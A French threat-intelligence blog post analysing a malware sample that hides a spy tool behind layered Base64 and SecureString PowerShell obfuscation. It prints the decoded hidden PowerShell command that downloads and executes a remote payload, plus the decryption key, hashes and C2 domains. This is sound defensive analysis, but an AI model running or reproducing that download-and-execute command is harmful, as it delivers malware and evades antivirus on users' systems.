Dissection d’une attaque : obfuscation de PowerShell à l’aide de SecureString

Par :
Equipe de Threat Intelligence

lun, 08/10/2018 - 15:47

Les cybercriminels atteignent de plus en plus leurs cibles non pas grâce à des charges utiles personnalisées d’un nouveau genre, mais via ce que l’on qualifie de « malwares courants », c’est-à-dire des programmes prêts à l’emploi accessibles en ligne, que ce soit gratuitement ou à peu de frais. Tous les éditeurs de logiciels antivirus connaissent ces malwares et devraient être immédiatement en mesure d’identifier leur empreinte (ou « signature »).

Alors pourquoi les cybercriminels utilisent-ils de plus en plus des malwares courants ?

Et comment ces derniers leur permettent-ils de parvenir à leurs fins ?

La réponse à ces deux questions tient en un seul mot : l’obfuscation.

L’obfuscation et son mode de fonctionnement

Les cybercriminels ont de plus en plus tendance à utiliser des malwares courants. Pourquoi ? Parce qu’ils sont bon marché, sont faciles à exploiter et assurent leur anonymat. Lorsque l’empreinte d’un malware est connue de tous et à la portée de chacun, il est facile pour le cybercriminel de se cacher parmi un groupe extrêmement large de suspects. La signature de la charge utile perd alors toute signification.

Le fait qu’un malware courant parvienne à ses fins alors que sa signature est connue est un paradoxe qui s’explique par le concept d’obfuscation, une technique permettant de modifier efficacement la signature globale tout en délivrant la charge utile connue.

Avec l’obfuscation, l’attaquant ne cherche plus à personnaliser la charge utile finale, mais son mode de livraison. On peut supposer que cette évolution est une réponse à la façon dont les antivirus s’y prennent généralement pour intercepter les malwares.

De nombreux antivirus s’appuient sur les signatures pour identifier les malwares. Pour beaucoup d’entre eux, la signature est une simple valeur de hachage. Dans ce contexte, une valeur de hachage correspond à la représentation alphanumérique unique d’un malware. Les signatures prennent très souvent la forme de valeurs de hachage, mais il peut aussi s’agir d’une représentation courte d’une portion de code unique au sein du malware.

L’obfuscation désigne un ensemble de techniques utilisées pour esquiver les produits antivirus qui s’appuient principalement sur les signatures. Ces techniques changent la structure globale du malware sans altérer son fonctionnement. En général, elles ont pour effet de créer des couches permettant de dissimuler la charge utile, à la manière des pièces emboîtées les unes dans les autres dans une poupée russe.

Les techniques d’obfuscation courantes comprennent l’utilisation :

  • De compresseurs (packers) qui compressent, ou « empaquettent », le malware,
  • De chiffreurs (crypters) qui chiffrent le malware (entièrement ou partiellement),
  • D’autres obfuscateurs qui transforment le malware de différentes manières, sans le neutraliser, en modifiant le nombre total d’octets du programme.

Ces techniques d’obfuscation altèrent la valeur de hachage et, fréquemment, la signature du malware, soit en modifiant la taille du fichier (par compression), soit en chiffrant ses chaînes de code unique pour les rendre illisibles par les produits antivirus.

Certains logiciels antivirus recherchent les techniques d’obfuscation courantes afin de les blacklister, mais cette pratique n’est pas aussi établie que l’inscription sur liste noire des signatures de charge utile des malwares.

Exemple de méthode d’obfuscation exploitant les fonctionnalités de PowerShell, outil intégré à Microsoft Windows :

Le fichier de malware sur lequel porte l’analyse a recours à une méthode d’obfuscation rare de PowerShell. Le programme semblait utiliser plusieurs des techniques décrites par Daniel Bohannon. Le fichier analysé ci-après est une archive ZIP contenant à la fois un document PDF et un script VBS :

50e7fe23731ad94f1714c1a8acfce3f8b6e6e918b3e3aa1daa7275cb6052e68c.

Lorsque nous l’avons découvert, le fichier n’avait été détecté que par trois produits.

Le script VBS emploie un codage Base64 rudimentaire pour l’obfuscation de la première couche. Le contenu de ce script se présente comme suit :

Et voici le script une fois déchiffré :

Ce script VBS télécharge et exécute le fichier « http://ravigel.com/1cr.dat » via PowerShell à l’aide de la ligne de commande « PowersheLl -windowstyle hidden -noexit -executionpolicy bypass -command IEX(New-Object Net.Webclient)DownloadString.Invoke(‘http://ravigel.com/1cr.dat’) ».

De nombreuses techniques, comme le fractionnement des chaînes via la concaténation et l’affectation de variables, ainsi que l’utilisation d’accents graves « ` » et la capitalisation aléatoire des lettres, sont utilisées pour fractionner les mots ou les signatures sur lesquels les éditeurs de logiciels antivirus se basent généralement pour identifier les activités PowerShell suspectes.

C’est avec « 1cr.dat » que les choses deviennent intéressantes. Ce fichier se sert d’une méthode de chiffrement des chaînes inhérente au langage C# appelée SecureString ou, plus précisément, Marshal.SecureStringToGlobalAllocAnsi. Elle est couramment utilisée pour chiffrer les chaînes sensibles au sein des applications à l’aide du mécanisme DPAPI intégré de Microsoft.

Le contenu de « cr1.dat » est déchiffré au moyen de la clé sur 16 octets située à la fin du script : « 0x91, 0x60, 0x22, 0x96, 0xa5, 0xde, 0xd3, 0x63, 0xa5, 0x77, 0x11, 0x62, 0xe1, 0xe, 0xf9, 0xff ». Une fois déchiffrée, la chaîne se présente comme suit :

Le premier jeu d’instructions est là pour tromper les solutions automatisées de sandbox. Le script lui-même télécharge le fichier « ravigel.com/top.dat », une archive ZIP contenant un autre fichier appelé « top.tab ». « top.tab » est un fichier PE (Portable Executable) codé par la représentation ordinale de chaque octet hexadécimal, séparée par un espace («   ») et précédée de la mention « google\r\n ».

Une fois décodée, la charge utile binaire correspond à la valeur de hachage suivante :

f3cf988a64c1732b6b58a72922e93d182ba64298f6beae5de0c8de21477a9474

Lors de son premier déploiement par les cybercriminels, la charge utile n’a été détectée que par deux produits. Mais au moment où nous l’avons découverte, 18 produits l’avaient identifiée. La charge utile est un outil d’espionnage simple bien connu de la communauté de sécurité. Elle est considérée comme un malware courant. Elle communique avec le C2 « siberponis.com » et est également configurée pour dialoguer avec un serveur de sauvegarde, « baferdifo.com », qui n’est pas actuellement résolu en adresse IP.

Les cybercriminels allient de plus en plus techniques d’obfuscation et malwares courants. Cela accroît la capacité des malwares à déjouer les produits antivirus. Et en cas de détection, il est plus difficile de remonter à la source.

Cette tendance va à l’encontre de l’idée, largement répandue dans le milieu de la sécurité des informations, selon laquelle l’utilisation conjointe de malwares hautement personnalisés et d’exploits « zero day » est la pratique à laquelle nous devons prêter le plus d’attention. Même si le recours à ces techniques est préoccupant et doit être surveillé, nous ne devons pas pour autant nous désintéresser des cybercriminels, et notamment des auteurs de menaces avancées, qui échappent aujourd’hui aux analyses antivirus grâce à des outils courants et non « zero day ».

A propos de l'auteur

Equipe de Threat Intelligence
Cylance